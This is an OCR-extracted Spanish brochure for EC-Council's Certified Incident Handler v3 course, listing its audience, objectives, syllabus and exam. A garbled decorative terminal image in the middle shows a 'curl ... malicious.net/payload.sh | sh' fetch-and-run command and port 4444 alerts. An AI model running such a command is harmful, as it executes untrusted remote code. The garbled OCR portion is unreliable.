EC-COUNCIL - PROGRAMA DE RESPUESTA A INCIDENTES

EC-Council Certified
Incident Handler (E|CIH) v3

Preparese para detectar, contener y erradicar incidentes de seguridad, y recuperar la operacion de
forma segura y ordenada

¢Por qué deberia asistir?

El programa E|CIH de EC-Council prepara a los participantes con los conocimientos y habilidades para anticiparse, gestionar y
erradicar amenazas y actores maliciosos durante un incidente. Cubre el proceso completo de manejo y respuesta a incidentes
(IH&R), con laboratorios practicos que ensefian los procedimientos tacticos para planificar, registrar, clasificar (triage), notificar y
contener, ademas de metodologias de evaluacién de riesgos y las leyes y politicas aplicables.

Alfinalizar, podra crear politicas de IH&Ry atender incidentes de malware, correo electronico, red, aplicaciones web, nube, amenazas
internas y endpoints, incluidas la contencién, la erradicacidn, la recoleccion de evidencia y el andlisis forense. Con mas de 95
laboratorios y 800 herramientas, es una de las certificaciones de IH&R mas completas del mercado.

3 dias 10 95 800+ 50/50

DURACION MODULOS LABORATORIOS HERRAMIENTAS TEORIA / PRACTICA
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¢Quién deberia participar?

Manejo de incidentes y CSIRT

Manejadores y respondedores de incidentes, analistas,
ingenieros y lideres de equipos CSIRT.

Forense y riesgo

Investigadores forenses digitales, analistas de riesgo y
vulnerabilidades, y pentesters.

Objetivos de aprendizaje

SOC y defensa cibernética

Analistas e ingenieros de SOC, consultores de defensa
cibernética y analistas de inteligencia de amenazas.

Profesionales de seguridad

Profesionales de nivel medio y alto, con al menos 3 afios de
experiencia, que desean fortalecer sus capacidades de IH&R.

» Comprender las amenazas, vectores de ataque, actores y sus motivaciones, y los marcos Cyber Kill Chain y MITRE ATT&CK

\4

modelado y threat hunting
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Dominar los fundamentos de seguridad: evaluacion de vulnerabilidades, gestion de riesgos, inteligencia de amenazas,

Aplicar los fundamentos de la gestion de incidentes, incluida la automatizacién y orquestacion de la respuesta

Conocer las mejores practicas, estandares, marcos, leyes y regulaciones aplicables al manejo de incidentes

Planificar un programa de IH&R en sus nueve etapas, desde la preparacién hasta las actividades post-incidente

Ejecutar la primera respuesta: recoleccion, documentacion, preservacién, embalaje y transporte de evidencia

Manejar de forma sistematica incidentes de malware, correo, red, aplicaciones web, nube, amenazas internas y endpoints

Usar plantillas. listas de verificacion. plavbooks v runbooks listos para automatizar la respuesta

Planificacion, Deteccion, Clasificacion, Comunicaciéna Aislamiento Preservacién  Eliminacién  Restauracién Revision,

recursos, registro del priorizaciény  stakeholders,

de sistemas de pruebasy completadela  segurade lecciones

politicas, incidentey  evaluacion de legaly equipos  afectados analisis del amenaza servicios y aprendidas,

capacitacién.  asignacién de impacto. pertinentes.

equipo.

I

PREPARACION REGISTRO Y
ASIGNACION

para detener  ataque (raiz). (malware, sistemas informes y
el dano. accesos). operativos. mejoras.

CONTENCION g} RECOLECCION ERRADICACION A RECUPERACION g ACTIVIDADES

DE EVIDENCIA
Y ANALISIS POST-INCIDENTE

FORENSE
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bash: cat /vur/log/uuth.lug | arep

"Fai "
curl -0 http://muliciuus.uts.log R TREE

[WARN] Unexpected connection 0n port 4444;

target assets -
curl -0 http:{/mulicious‘net/payloud.sh I'sh

- =
Buffer Overflow: Eﬁteexe[pid: 2913)

og/auth.10g I EF;
auth.log | 8"
og/ ction on por =
s .net/payload-sh l
(pid: 2913)

pash: cat /varﬁ
bash: cat /var
[WARN] Unexpected gor'\cn,ﬁ
curl -0 http://ma11c1‘ -
guffer overflow: service.

£ qaad 185 112X

THREAT ANALYSis

THREAT LEVEL: gy, (9
ATTACK TYPE: R aTepy
TARGET ASSETS: 1419 14
OATA EXFILTRATION Risk H 51

bash: cat /var/lag/auth.log | grep "l poia: DATA EXFILTRATION RISK: HigH (61%)

[WARN] Unexpected connection on port 4444; 185.112.xx -
curl -0 http://malicious.net/payloadsh | sh :

%)
MOVEMENT (gax,

Buffer Overflow: service.exe v
service.exe- gett hos password

[WARN) Unexpected connection on port 4444: 185.112.x.x
Buffer Overflow: service.exe(pid: 2913)

SYSTEM INTRUSION DETECTED

CRITICAL ALERT
P

-

Programa del curso

Duracion: 3 dias

Médulo

Modulos 01 Introduccion al manejo y respuesta a incidentes: amenazas y vectores de ataque, marcos de

1-3 ataque y defensa, conceptos de seguridad, proceso de gestion de incidentes, automatizacion y

Dia 1 orquestacion de la respuesta, estandares, marcos de ciberseguridad, leyes y cumplimiento legal.
02 Proceso de manejo y respuesta a incidentes: preparacion, registro y asignacion, triage,
notificacién, contencidn, recoleccién de evidencia y analisis forense, erradicacion, recuperacion,
actividades post-incidente e intercambio de informacion.
03 Primera respuesta: concepto de primera respuesta; asegurar y documentar la escena;
recolectar, preservar, embalar y transportar la evidencia.

Modulos 04 Manejo y respuesta a incidentes de malware: preparacion, deteccion, contencion, analisis de

4-7 malware, erradicacion, recuperacion, caso de estudio y mejores practicas.

Dia 2 05 Manejo y respuesta a incidentes de seguridad del correo electrénico: preparacion, deteccion y
contencion, analisis, erradicacion, recuperacion, caso de estudio y mejores practicas.
06 Manejo y respuesta a incidentes de seguridad de red: deteccion y validacion; accesos no
autorizados, uso inapropiado, denegacion de servicio y redes inalambricas; caso de estudio y
mejores practicas.
07 Manejo y respuesta a incidentes de seguridad en aplicaciones web: preparacion, detecciény
contencion, analisis, erradicacion, recuperacion, caso de estudio y mejores practicas para asegurar
aplicaciones web.

Modulos 08 Manejo y respuesta a incidentes de seguridad en la nube: pasos del manejo de incidentes en la

8-10 nube; incidentes en Azure, AWS y Google Cloud; caso de estudio y mejores practicas.

Dia 3 09 Manejo y respuesta a amenazas internas: preparacion, deteccion y contencién, analisis,

erradicacion, recuperacion tras ataques internos, caso de estudio y mejores practicas.

10 Manejo y respuesta a incidentes de seguridad en endpoints: incidentes en dispositivos moviles,
loTy OT, y caso de estudio.

-
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Examen

Duracion: 3 horas

Titulo EC-Council Certified Incident Handler (E|CIH) — Versién 3

Codigo 212-89 N.° de preguntas 100

Formato Opcion multiple Duracion 3 horas
Aprobacion Segun la forma del examen (cert. Plataforma ECC Exam Portal

eccouncil.org/faq)

¢Quién puede aplicar?

» Experiencia recomendada: profesionales de ciberseguridad de nivel medio a alto con un minimo de 3 afios de experiencia.

» También dirigido a: profesionales de seguridad de la informacién que desean ampliar sus conocimientos en manejo y
respuesta a incidentes, y personas interesadas en prevenir amenazas cibernéticas.

Roles profesionales asociados a E|CIH

Manejador y respondedor de incidentes, consultor o analista de respuesta a incidentes, analista o lider de CSIRT, analista de SOC,
consultor de defensa cibernética, investigador forense digital, analista de riesgo y vulnerabilidades, analista de inteligencia de
amenazas y pentester.

Informacion general

» Manual del estudiante de mas de 1.600 paginas, mas de 780 diapositivas, 125 plantillas, listas de verificacion y kits, y mas
de 10 playbooks y runbooks

» Alineado al 100 % con el marco NICE 2.0 y con CREST Certified Incident Manager (CCIM)
» EC-Council es una organizacion acreditada ISO/IEC 17024 y reconocida por el DoD 8140/8570

EC- [:llllnl:ll Certified Incident Handler Certified || EC-Council Instructor

EC-Council
Accredited
Training Center
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